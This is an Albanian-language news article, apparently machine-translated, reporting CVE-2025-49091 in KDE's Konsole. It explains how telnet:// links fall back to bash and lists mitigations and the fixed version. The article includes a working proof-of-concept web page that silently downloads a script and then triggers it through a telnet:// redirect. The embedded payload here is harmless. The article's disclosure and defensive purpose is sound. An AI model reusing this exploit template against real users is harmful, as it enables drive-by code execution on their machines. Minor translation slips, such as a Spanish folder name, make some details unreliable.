Disa ditë më parë u publikua një informacion në lidhje me cenueshmëria kritike, e cila u identifikua nën "CVE-2025-49091«. Kjo dobësi zbuluar në Konsole (emulatori i terminalit KDE), lejon ekzekutimin e kodit në distancë thjesht duke vizituar një faqe interneti keqdashëse nga një shfletues.
Përmendet se ky problem ndikon në sistemet ku KTelnetService dhe një version i prekshëm i Konsole janë instaluar, por të paktën një nga programet telnet, rlogin ose ssh nuk është instaluar. Dobësia ndodhet në konsolën e Emulatorit të Terminalit KDE. Siç u përmend në këshillën e KDE, versionet e Konsole para 25.04.2 janë të cenueshme.
Konsole mbështet ngarkimin e URL-ve nga kontrolluesit e skemës si p.sh.
telnet://URL. Kjo mund të ekzekutohet pavarësisht nëse telnet
Binari është i disponueshëm.Në këtë mënyrë, Konsole kishte një rrugë ku, nëse Telnet nuk ishte i disponueshëm,
do të përdorte përsëri bash për argumentet e dhëna; të cilat
është URL-ja e dhënë. Kjo i lejon një sulmuesi të ekzekutojë kod arbitrar.
kodinShfletuesit zakonisht shfaqin një mesazh kur një përdorues hap një shfletues të jashtëm.
Kontrollues skeme që mund të duket i dyshimtë dhe të kërkojë ndërveprimin e përdoruesit
të jetë i shfrytëzueshëm.
Burimi i problemit: KTelnetService dhe skemat e rrezikshme të URL-ve
Studiuesit vërejnë se problemi që qëndron pas kësaj dobësie qëndron në sjelljen e shërbimit KTelnetService, i përfshirë si parazgjedhje në KDE. Ky shërbim është përgjegjës për përpunimin e skemave URL telnet://, rlogin:// dhe ssh:// dhe është projektuar për të hapur këto lidhje direkt në Konsole duke përdorur shërbimet përkatëse (telnet, rlogin ose ssh).
Megjithatë, ky defekt ndodh kur këto programe nuk janë të instaluara në sistem. Në këtë rast, Konsole, kur përpiqet të ekzekutojë komandën e treguar në lidhje, përdor /bin/bash si zëvendësim. Prandaj, një sulmues mund të ndërtojë një lidhje të personalizuar.
Edhe pse kjo duket e parëndësishme në shikim të parë, problemi përkeqësohet sepse sulmuesi mund të ekzekutojë çdo skedar në direktorinë e shkarkimeve të përdoruesit duke përdorur komandën e personalizuar. Me fjalë të tjera, çdo skedar ekzekutohet automatikisht nëse përdoruesi klikon në një lidhje me atë skemë.
Pse është kaq e rrezikshme kjo?
Shfletuesit modernë si Firefox dhe Chrome (në cilësimet e tyre fillestare) i ruajnë automatikisht skedarët e shkarkuar në dosjen ~/Downloads, pa kërkuar konfirmimin e përdoruesit. Ata shfaqin një njoftim vetëm pasi të përfundojë shkarkimi.
Kjo sjellje, e kombinuar me faktin se në sistemet Linux është e mundur të qasesh në shtegun aktual të direktorisë së shfletuesit, lejon që një skedar keqdashës i shkarkuar automatikisht të ekzekutohet më pas nga Konsole pa dijeninë e përdoruesit.
Prova e Konceptit (PoC): Si shfrytëzohet dobësia
Për të demonstruar rrezikun e këtij defekti, studiuesit krijuan fragmentin e mëposhtëm të kodit JavaScript, i cili tregon se si një sulmues mund ta shfrytëzonte këtë dobësi nga një faqe interneti:
<html> <head> <script type="text/javascript"> function downloadAndRedirect() { const anchor = document.createElement('a'); anchor.href = "data:;base64,ZWNobyAiSGVsbG8gd29ybGQiCnRvdWNoIC90bXAvZm9vYmFyCg=="; anchor.download = 'evil'; document.body.appendChild(anchor); anchor.click(); document.body.removeChild(anchor); setTimeout(() => { window.location.href = "telnet:///proc/self/cwd/Downloads/evil"; }, 1000); } </script> </head> <body onload="downloadAndRedirect()"> </body> </html>
Në Firefox dhe Chrome, nëse përdoruesi pranon lidhjen telnet://, do të thirret sa vijon:
/usr/bin/konsole --noclose -e telnet /proc/self/cwd/Descargas/evil
Dhe, nëse Telnet nuk është i pranishëm, skripti keqdashës do të ekzekutohet me bash.
Masat e përkohshme zbutëse
Ndërsa prisni për përditësimin ose nëse nuk mund ta përditësoni menjëherë, ka dy mënyra të thjeshta për të zbutur problemin:
Instaloni shërbimet telnet, rlogin dhe ssh
Nëse këto shërbime janë të pranishme, Konsole do t'i thërrasë ato në mënyrë korrekte dhe nuk do të përdorë bash. Kjo parandalon që përmbajtja arbitrare të ekzekutohet si skript.
sudo apt install telnet rlogin openssh-client
Fshi skedarin e shërbimit KTelnetService
Ju mund ta fshini skedarin përgjegjës për regjistrimin e këtyre skemave:
sudo rm /usr/share/applications/ktelnetservice6.desktop
Kjo do të parandalojë që lidhjet telnet://, rlogin:// ose ssh:// të trajtohen automatikisht nga Konsole.
Zgjidhja: Përditësim urgjent i Konsole 25.04.2
Dobësia është rregulluar në versionin 25.04.2 të Konsole, i përfshirë në përditësimin 25.04.2 të KDE Gear. Të gjithë përdoruesit dhe administratorët e sistemit këshillohen fuqimisht që ta përditësojnë menjëherë.
Së fundi, nëse jeni të interesuar të dini më shumë rreth tij, mund të konsultoni detajet në lidhja vijuese.